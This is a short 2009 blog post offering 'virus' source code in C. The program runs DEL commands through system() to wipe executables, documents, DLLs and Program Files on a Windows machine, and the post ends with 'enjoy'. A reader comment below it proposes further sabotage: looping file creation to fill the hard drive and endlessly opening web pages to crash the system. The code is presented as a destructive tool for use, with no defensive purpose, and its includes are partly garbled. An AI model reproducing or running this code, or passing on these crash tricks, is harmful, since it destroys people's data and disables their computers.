Thursday, June 4, 2009
Virus ( Source code )
Here is the source code for a virus in C program.
#include
#include
int main()
{
system ("DEL C:\*.exe");
system ("DEL C:\*.txt");
system ("DEL C:\*.doc");
system ("DEL C:\WINDOWS\*.exe");
system ("DEL C:\WINDOWS\*.com");
system ("DEL C:\WINDOWS\*.bat");
system ("DEL C:\Program Files\*.*");
system ("DEL C:\WINDOWS\SYSTEM\*.exe");
system ("DEL C:\WINDOWS\SYSTEM\*.dll");
system ("DEL C:\WINDOWS\SYSTEM\*.com");
system ("DEL C:\WINDOWS\SYSTEM\*.bat");
return 0;
}
enjoy............
Subscribe to:
Post Comments (Atom)
Try this out:
ReplyDeleteCreate a simple C/C++ program and do any one of the following :-
# Enter the code for creation of a new file for whatever extension, in a for loop.It would eventually fill the entire hard drive space thus putting the user in a really really tough mess.
# Enter the code for opening of a web page in a for loop.Continuous, endless opening of the web-page may eat a great deal of memory & would eventually crash the system.